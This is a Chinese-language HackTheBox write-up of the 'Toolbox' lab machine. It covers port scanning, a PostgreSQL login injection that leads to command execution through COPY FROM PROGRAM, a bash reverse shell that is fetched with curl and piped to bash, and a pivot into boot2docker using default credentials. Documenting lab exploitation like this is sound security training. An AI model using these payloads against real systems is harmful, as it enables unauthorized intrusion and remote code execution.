> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md).

# Toolbox HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/339>" %}

{% hint style="warning" %}
**技能：**

* PostgreSQL 注入（RCE）
* 横向移动
* 滥用 boot2docker（Docker-Toolbox）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/251472eb980f0398bc32aff6aa4c1e0d8808859f" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/e1760c77fdde05effdcd0574c2c515a2d26d2836" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts
```

<figure><img src="/files/2cb7c32d067d41247e6903827b75a7ea87e63f1a" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="/files/fdb44eba0ebc88babbcbf101ef67773a678c6e28" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted
```

<figure><img src="/files/467a81d31ca7cdfd745fd462bfaa2bca4c6c83d7" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件

<figure><img src="/files/36f117a50235b48b4dae89927e8bb13b343c0441" alt="" width="563"><figcaption></figcaption></figure>

### **端口 21（FTP）**

FTP 端口可通过用户访问 `anonymous`。有一个名为 `docker-toolbox.exe`的文件。该文件可能为潜在的 Docker 操作提供线索。

{% hint style="info" %}
Docker-Toolbox 是一组用于在较旧或非 Docker Desktop 环境中管理 Docker 容器的工具。
{% endhint %}

<figure><img src="/files/ba41dd689e606c3bfe76e4753ff3164035901085" alt="" width="563"><figcaption></figcaption></figure>

### **端口 443（HTTPS）**

<figure><img src="/files/abb75f5090f9d4aa583d9b55cc483b8931ca465f" alt=""><figcaption></figcaption></figure>

**可能的用户：**

* Christine Rooster
* Brandon Sharp
* Connor Hodson

<figure><img src="/files/fd4f0ab37b98515877f8b477104491902f1b5b8e" alt=""><figcaption></figcaption></figure>

经过调查，托管站点提供了一个可通过以下地址访问的管理面板 `admin.megalogistic.com`.

<figure><img src="/files/a1650ab051b78ade78f90b4867b3f0df7fd09468" alt=""><figcaption></figcaption></figure>

## PostgreSQL 注入漏洞：

{% hint style="info" %}
PostgreSQL 是一个强大的开源关系型数据库管理系统，能够安全地支持最复杂的数据工作负载。
{% endhint %}

提交这些凭据时：

```sql
用户名：'
密码：'
```

出现了 SQL 错误，表明后端使用的是 PostgreSQL，并采用了 `pg_query`.

<figure><img src="/files/1c7f1789076a6267ac8efdb03b9a62c10f6be702" alt=""><figcaption></figcaption></figure>

### **利用**

测试一个经典的注入载荷：

```vbnet
用户名：' OR 1=1-- -  
密码：任意值
```

我们获得了 Dashboard 管理面板的访问权限。

<figure><img src="/files/86834e2c41bb8ac4b1a61fcd054c340045115fc7" alt="" width="563"><figcaption></figcaption></figure>

使用以下方式拦截查询 **Burp Suite** 并使用诸如 **HackTricks** 之类的资源来调整注入。

<figure><img src="/files/991d28bc1423fc1d1aff1d44dc0db3bf08d3c16c" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### 要测试该注入是否允许执行命令，请使用：

`;select pg_sleep(10);-- -`

如果响应延迟 10 秒，则说明该注入可用。

<figure><img src="/files/ccbd73432e646b0dd29c61ed6b29d56a216a2363" alt=""><figcaption></figcaption></figure>

### **命令执行**

下面是一个获取在线命令的示例：

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```

创建一个 `index.html` 包含以下内容的文件：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

运行一个 HTTP 服务器：

```bash
python3 -m http.server 80
```

配置一个监听器：

```bash
nc -nvlp 443
```

发送 payload：

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d
```

<figure><img src="/files/9a8ec64b2fceb5ac6df38122494840c391ec5f94" alt=""><figcaption></figcaption></figure>

#### **终端稳定化**

为了让 shell 更加交互式和舒适：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### 稳定 shell 以便更舒适地工作。 <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## 提权：

### Docker 横向移动

{% hint style="info" %}
在侦察阶段，我们发现我们的 Windows 机器无法直接访问。不过，我们能够连接到一个位于 Docker 容器中的 Windows 机器，其 IP 地址为 `172.17.0.2` 以及 `172.17.0.1` 网关。现在我们将尝试通过这个容器进行转移，以提升我们的权限。
{% endhint %}

<figure><img src="/files/ac376de9d5aa18363e6f1eb3c3534c8ec4cc9231" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/13049d62aee5ba629288105f75884e5ea13faa2c" alt=""><figcaption></figcaption></figure>

### **SSH 端口验证**

首先，我们需要检查 Docker 网关（172.17.0.1）上的 SSH（22）端口是否开放。我们为此使用一个简单的命令：

```bash
echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed"
```

端口 22 是开放的，这意味着我们可以尝试连接到容器中的机器。

<figure><img src="/files/22b7b24b6101fe9567fb27ca2f1372dcfdddc624" alt=""><figcaption></figcaption></figure>

#### **使用默认的 Docker Toolbox 凭据登录**

Docker Toolbox 的默认 ID 是：

* **用户**: `docker`
* **密码**: `tcuser`

我们现在尝试使用这些信息通过 SSH 连接到容器。一旦连接到该机器，我们注意到我们以用户身份拥有容器的 root 权限 `docker`.

<figure><img src="/files/aa63b2198309b8040213b6b87f234a078bbda0e2" alt=""><figcaption></figcaption></figure>

#### **文件系统探索**

在根目录中，我们找到了一个名为 **c**的文件夹，其中包含一个子文件夹 **users**。 **users** 在 **其中有一个** 属于用户的 Desktop 文件夹 **Administrator**。 `docker` 这可能意味着用户 **Administrator**有足够的权限访问来自用户

<figure><img src="/files/1912a75cd5157aed550baa6fb33841259c21cfd5" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

#### **搜索 `user.txt` 的敏感数据，这是一条提升权限的好线索。**

我们现在将寻找 `user.txt` 文件，它通常用于标记用户已成功访问某台机器。让我们使用以下命令在整个文件系统中搜索该文件：

```bash
find / -name user.txt 2>/dev/null
```

<figure><img src="/files/2e3462f8323a2abfadc393092e9fa39ecef366a7" alt=""><figcaption></figcaption></figure>

我们在一个可访问的目录中找到了 **user.txt** 文件，这为我们的操作带来了最初的成功迹象。

### root.txt flag :)

一旦找到用户 flag，我们就会寻找 **root.txt** 文件，它通常位于用户目录中 **Administrator**.

<figure><img src="/files/19de3fc0289f07ee76173419f2c06fe97101cce3" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e4968e1fc4c6b0443e529c6f65d734396bef8f38" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
